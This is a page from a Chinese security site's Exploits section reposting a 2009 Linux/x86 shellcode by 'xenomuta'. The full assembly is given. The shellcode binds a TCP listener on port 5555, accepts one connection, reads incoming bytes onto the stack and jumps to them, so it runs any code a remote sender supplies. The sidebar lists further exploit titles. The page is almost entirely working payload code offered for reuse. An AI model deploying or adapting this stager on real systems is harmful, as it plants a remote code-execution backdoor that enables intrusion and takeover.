首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 listens for shellcode on tcp/5555 and jumps to it
来源:http://xenomuta.tuxfamily.org 作者:xenomuta 发布时间:2009-09-10  

/*
    _  __                 __  ___      __      
   | |/ /__  ____  ____  /  |/  /_  __/ /_____ _
   |   / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
  /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ /
 /_/|_\___/_/ /_/\____/_/  /_/\__,_/\__/\__,_/ 

 xenomuta\x40phreaker\x2enet
 http://xenomuta.tuxfamily.org/ - Methylxantina 256mg

 Description:
 linux/x86 listens for shellcode on tcp/5555 and jumps to it
 OS: Linux
 Arch: x86
 Length: 83 bytes
 Author: XenoMuta

 greetz to:
  str0k3 (tnx for your effort), emra (fragancia),
  fr1t0l4y (dejate ver), garay (no me olvido de los pobres ;p )
  - God bless you all -
*/
.global _start

_start:
 xor %ebx, %ebx
 mov %ebx, %eax

_socket:
 push $0x6
 push $0x1
 push $0x2
 mov $0x66, %al 
 incb %bl
 mov %esp, %ecx
 int $0x80

_bind:
 mov %eax, %edi
 xor %edx, %edx
 push %edx
 pushw $0xb315 /* 5555 */
 pushw %bx
 mov %esp, %ecx
 push $0x10
 push %ecx
 push %edi
 mov $0x66, %al
 incb %bl
 mov %esp, %ecx
 int $0x80

_listen:
 incb %bl
 push $0x1
 push %edi
 mov $0x66, %al
 incb %bl
 mov %esp, %ecx
 int $0x80

_accept:
 push %edx
 push %edx
 push %edi
 mov $0x66, %al
 incb %bl
 mov %esp, %ecx
 int $0x80
 mov %eax, %ebx

_read:
 mov $0x3, %al
 mov %esp, %ecx
 mov $0x7ff, %dx
 incb %dl
 int $0x80
 jmp *%ecx /* Jump to our shellcode */


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Media Player Classic 6.4.9 (.m
·jetAudio 7.1.9.4030 plus vx(as
·Millenium MP3 Studio (pls/mpf/
·WarFTPd 1.82.00-RC12 (LIST com
·Pidgin MSN <= 2.5.8 Remote Cod
·KSP 2009R2 (m3u) Universal Loc
·FTPShell Client 4.1 RC2 Remote
·INMATRIX Zoom Player Pro <= 6.
·Audio Lib Player (m3u File) Bu
·Icarus 2.0 (.pgn File) Univers
·Agoko CMS <= 0.4 Remote Comman
·Enlightenment - Linux Null PTR
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved